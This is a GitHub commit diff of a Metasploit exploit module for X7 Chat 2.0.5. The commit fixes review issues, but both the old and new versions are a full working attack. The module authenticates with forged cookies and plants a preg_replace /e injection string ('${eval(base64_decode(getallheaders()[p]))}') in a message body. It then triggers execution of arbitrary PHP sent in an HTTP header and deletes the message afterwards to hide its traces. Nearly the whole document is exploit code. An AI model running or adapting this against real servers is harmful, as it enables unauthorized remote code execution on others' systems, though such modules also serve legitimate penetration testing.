Skip to content

Commit 2ba2388

Browse files
itsecuritycoitsecurityco
committed
Fix issues reported by jvasquez
1 parent 848f24a commit 2ba2388

File tree

1 file changed

+137
-136
lines changed

1 file changed

+137
-136
lines changed

‎modules/exploits/multi/http/x7chat2_php_exec.rb

Lines changed: 137 additions & 136 deletions
Original file line numberDiff line numberDiff line change
@@ -6,140 +6,141 @@
66
require 'msf/core'
77

88
class Metasploit3 < Msf::Exploit::Remote
9-
Rank = GoodRanking
10-
11-
include Msf::Exploit::Remote::HttpClient
12-
include Msf::Exploit::PhpEXE
13-
14-
def initialize(info = {})
15-
super(update_info(info,
16-
'Name' => 'The X7 Group X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution',
17-
'Description' => %q{
18-
Library lib/message.php for X7 Chat 2.0.5 uses preg_replace() function with the /e modifier.
19-
This allows execute PHP code in the remote machine.
20-
},
21-
'License' => MSF_LICENSE,
22-
'Author' =>
23-
[
24-
'Fernando Munoz # fmunozs', # discovery
25-
'Juan Escobar # itseco', # module development
26-
],
27-
#'References' => [],
28-
'Platform' => ['php'],
29-
'Arch' => ARCH_PHP,
30-
'Targets' => [
31-
['Generic (PHP Payload)', {'Arch' => ARCH_PHP, 'Platform' => 'php'}]
32-
],
33-
'DisclosureDate' => 'Oct 27 2014',
34-
'DefaultTarget' => 0))
35-
36-
register_options(
37-
[
38-
OptString.new('USERNAME', [ true, 'Username to authenticate as', 'user']),
39-
OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'user']),
40-
OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '/x7chat2']),
41-
], self.class)
42-
end
43-
44-
def check
45-
res = exec_php("phpinfo(); die();", true)
46-
47-
if (res.body =~ /This program makes use of the Zend/)
48-
return Exploit::CheckCode::Vulnerable
49-
else
50-
return Exploit::CheckCode::Unknown
51-
end
52-
end
53-
54-
def exec_php(php_code, check = false)
55-
56-
cookie_x7c2u = "X7C2U=" + datastore['USERNAME']
57-
cookie_x7c2p = "X7C2P=" + Rex::Text.md5(datastore['USERNAME'])
58-
rand_text = Rex::Text.rand_text_alpha(5, 8)
59-
60-
# remove comments, line breaks and spaces
61-
praw = php_code.gsub(/(\s+)|(#.*)/, '')
62-
63-
# clean b64 (we can not use quotes or apostrophes and b64 string must not contain equals)
64-
while Rex::Text.encode_base64(praw) =~ /==/ || Rex::Text.encode_base64(praw) =~ /=/
65-
praw = praw + " "
66-
end
67-
68-
pb64 = Rex::Text.encode_base64(praw)
69-
70-
print_status("Sending offline message (#{rand_text}) to #{datastore['USERNAME']}...")
71-
res = send_request_cgi({
72-
'method' => 'GET',
73-
'uri' => normalize_uri(target_uri.path, 'index.php'),
74-
'headers' => {
75-
'Cookie' => "#{cookie_x7c2u}; #{cookie_x7c2p};",
76-
},
77-
'vars_get' => {
78-
'act' => 'userpanel',
79-
'cp_page' => 'msgcenter',
80-
'to' => datastore['USERNAME'],
81-
'subject' => rand_text,
82-
'body' => "#{rand_text}www.${eval(base64_decode(getallheaders()[p]))}.c#{rand_text}",
83-
}
84-
})
85-
86-
if res && res.code == 200
87-
print_good("Message (#{rand_text}) sent successfully")
88-
else
89-
fail_with(Failure::NoAccess, 'Sending the message (#{rand_text}) has failed')
90-
end
91-
92-
if res.body =~ /([0-9]*)">#{rand_text}/
93-
message_id = $1
94-
else
95-
fail_with(Failure::NoAccess, 'Could not find message (#{rand_text}) in the message list')
96-
end
97-
98-
print_status("Accessing message (#{rand_text})")
99-
print_status("Sending payload in HTTP header 'p'")
100-
res = send_request_cgi({
101-
'method' => 'GET',
102-
'uri' => normalize_uri(target_uri.path, 'index.php'),
103-
'headers' => {
104-
'Cookie' => "#{cookie_x7c2u}; #{cookie_x7c2p};",
105-
'p' => "#{pb64}",
106-
},
107-
'vars_get' => {
108-
'act' => 'userpanel',
109-
'cp_page' => 'msgcenter',
110-
'read' => message_id,
111-
}
112-
})
113-
114-
res_payload = res
115-
116-
print_status("Deleting message (#{rand_text})")
117-
res = send_request_cgi({
118-
'method' => 'GET',
119-
'uri' => normalize_uri(target_uri.path, 'index.php'),
120-
'headers' => {
121-
'Cookie' => "#{cookie_x7c2u}; #{cookie_x7c2p};",
122-
},
123-
'vars_get' => {
124-
'act' => 'userpanel',
125-
'cp_page' => 'msgcenter',
126-
'delete' => message_id,
127-
}
128-
})
129-
130-
if res.body =~ /The message has been deleted/
131-
print_good("Message (#{rand_text}) removed")
132-
else
133-
print_error('Removing message (#{rand_text}) has failed')
134-
end
135-
136-
# if check return the response
137-
if check
138-
return res_payload
139-
end
140-
end
141-
142-
def exploit
143-
exec_php(payload.raw)
144-
end
9+
Rank = GoodRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::PhpEXE
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'The X7 Group X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution',
17+
'Description' => %q{
18+
Library lib/message.php for X7 Chat 2.0.5 uses preg_replace() function with the /e modifier.
19+
This allows execute PHP code in the remote machine.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' =>
23+
[
24+
'Fernando Munoz <fernando[at]null-life.com>', # discovery & module development
25+
'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
26+
],
27+
'Platform' => ['php'],
28+
'Arch' => ARCH_PHP,
29+
'Targets' => [
30+
['Generic (PHP Payload)', {}]
31+
],
32+
'DisclosureDate' => 'Oct 27 2014',
33+
'DefaultTarget' => 0))
34+
35+
register_options(
36+
[
37+
OptString.new('USERNAME', [ true, 'Username to authenticate as', '']),
38+
OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', '']),
39+
OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '/x7chat2']),
40+
], self.class)
41+
end
42+
43+
def check
44+
res = exec_php("phpinfo(); die();", true)
45+
46+
if res && res.body =~ /This program makes use of the Zend/
47+
return Exploit::CheckCode::Vulnerable
48+
else
49+
return Exploit::CheckCode::Unknown
50+
end
51+
end
52+
53+
def exec_php(php_code, check = false)
54+
55+
cookie_x7c2u = "X7C2U=" + datastore['USERNAME']
56+
cookie_x7c2p = "X7C2P=" + Rex::Text.md5(datastore['USERNAME'])
57+
rand_text = Rex::Text.rand_text_alpha(5, 8)
58+
59+
# remove comments, line breaks and spaces
60+
praw = php_code.gsub(/(\s+)|(#.*)/, '')
61+
62+
# clean b64 (we can not use quotes or apostrophes and b64 string must not contain equals)
63+
while Rex::Text.encode_base64(praw) =~ /==/ || Rex::Text.encode_base64(praw) =~ /=/
64+
praw = praw + " "
65+
end
66+
67+
pb64 = Rex::Text.encode_base64(praw)
68+
69+
print_status("Sending offline message (#{rand_text}) to #{datastore['USERNAME']}...")
70+
res = send_request_cgi({
71+
'method' => 'GET',
72+
'uri' => normalize_uri(target_uri.path, 'index.php'),
73+
'headers' => {
74+
'Cookie' => "#{cookie_x7c2u}; #{cookie_x7c2p};",
75+
},
76+
'vars_get' => {
77+
'act' => 'userpanel',
78+
'cp_page' => 'msgcenter',
79+
'to' => datastore['USERNAME'],
80+
'subject' => rand_text,
81+
'body' => "#{rand_text}www.${eval(base64_decode(getallheaders()[p]))}.c#{rand_text}",
82+
}
83+
})
84+
85+
if res && res.code == 200
86+
print_good("Message (#{rand_text}) sent successfully")
87+
else
88+
print_error("Sending the message (#{rand_text}) has failed")
89+
return Exploit::CheckCode::Unknown
90+
end
91+
92+
if res && res.body =~ /([0-9]*)">#{rand_text}/
93+
message_id = $1
94+
else
95+
print_error("Could not find message (#{rand_text}) in the message list")
96+
return Exploit::CheckCode::Unknown
97+
end
98+
99+
print_status("Accessing message (#{rand_text})")
100+
print_status("Sending payload in HTTP header 'p'")
101+
res = send_request_cgi({
102+
'method' => 'GET',
103+
'uri' => normalize_uri(target_uri.path, 'index.php'),
104+
'headers' => {
105+
'Cookie' => "#{cookie_x7c2u}; #{cookie_x7c2p};",
106+
'p' => "#{pb64}",
107+
},
108+
'vars_get' => {
109+
'act' => 'userpanel',
110+
'cp_page' => 'msgcenter',
111+
'read' => message_id,
112+
}
113+
})
114+
115+
res_payload = res
116+
117+
print_status("Deleting message (#{rand_text})")
118+
res = send_request_cgi({
119+
'method' => 'GET',
120+
'uri' => normalize_uri(target_uri.path, 'index.php'),
121+
'headers' => {
122+
'Cookie' => "#{cookie_x7c2u}; #{cookie_x7c2p};",
123+
},
124+
'vars_get' => {
125+
'act' => 'userpanel',
126+
'cp_page' => 'msgcenter',
127+
'delete' => message_id,
128+
}
129+
})
130+
131+
if res && res.body =~ /The message has been deleted/
132+
print_good("Message (#{rand_text}) removed")
133+
else
134+
print_error("Removing message (#{rand_text}) has failed")
135+
end
136+
137+
# if check return the response
138+
if check
139+
return res_payload
140+
end
141+
end
142+
143+
def exploit
144+
exec_php(payload.encoded)
145+
end
145146
end

0 commit comments

Comments
 (0)